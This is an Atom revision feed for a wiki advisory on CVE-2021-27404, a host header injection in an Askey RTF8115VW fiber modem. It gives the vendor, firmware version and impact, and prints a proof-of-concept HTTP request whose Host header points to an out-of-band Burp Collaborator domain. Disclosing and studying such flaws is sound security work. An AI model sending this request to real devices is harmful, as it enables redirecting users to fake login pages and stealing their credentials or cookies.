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	<title>CVE-2021-27404 Authenticated Host標頭注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-27404_Authenticated_Host%E6%A8%99%E9%A0%AD%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
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	<updated>2026-04-04T13:44:01Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
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	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-27404_Authenticated_Host%E6%A8%99%E9%A0%AD%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=809&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; **Authenticated Host Header Injection - Askey Internet Fiber Modem**  Vendor: **Askey**    Software Version: **BR_SV_g11.11_RTF_TEF001_V6.54_V014**   Model: **R...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-27404_Authenticated_Host%E6%A8%99%E9%A0%AD%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=809&amp;oldid=prev"/>
		<updated>2021-03-31T07:35:54Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; **Authenticated Host Header Injection - Askey Internet Fiber Modem**  Vendor: **Askey**    Software Version: **BR_SV_g11.11_RTF_TEF001_V6.54_V014**   Model: **R...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
**Authenticated Host Header Injection - Askey Internet Fiber Modem**&lt;br /&gt;
&lt;br /&gt;
Vendor: **Askey**   &lt;br /&gt;
Software Version: **BR_SV_g11.11_RTF_TEF001_V6.54_V014**  &lt;br /&gt;
Model: **RTF8115VW**   &lt;br /&gt;
Vulnerable Header: **Host**  &lt;br /&gt;
Not tested in other model/version.   &lt;br /&gt;
&lt;br /&gt;
Impact: An attacker could take advantege on that vulnerability to redirect user to a fake Login page in order to extract his credentials, or cookies.&lt;br /&gt;
&lt;br /&gt;
The Final Request&lt;br /&gt;
```&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: kay4tb35bh55y38n8h4teim21t7jv8.burpcollaborator.net&lt;br /&gt;
Cookie: _httpdSessionId_=7924107467ea5838a196b65306ca7236&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
Referer: http://x.x.x.x/cgi-bin/te_logout.cgi&lt;br /&gt;
Accept: */*&lt;br /&gt;
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36&lt;br /&gt;
Connection: close&lt;br /&gt;
Cache-Control: max-age=0&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
![Alt text](/hostHeaderInjection.jpg?raw=true &amp;quot;Optional Title&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
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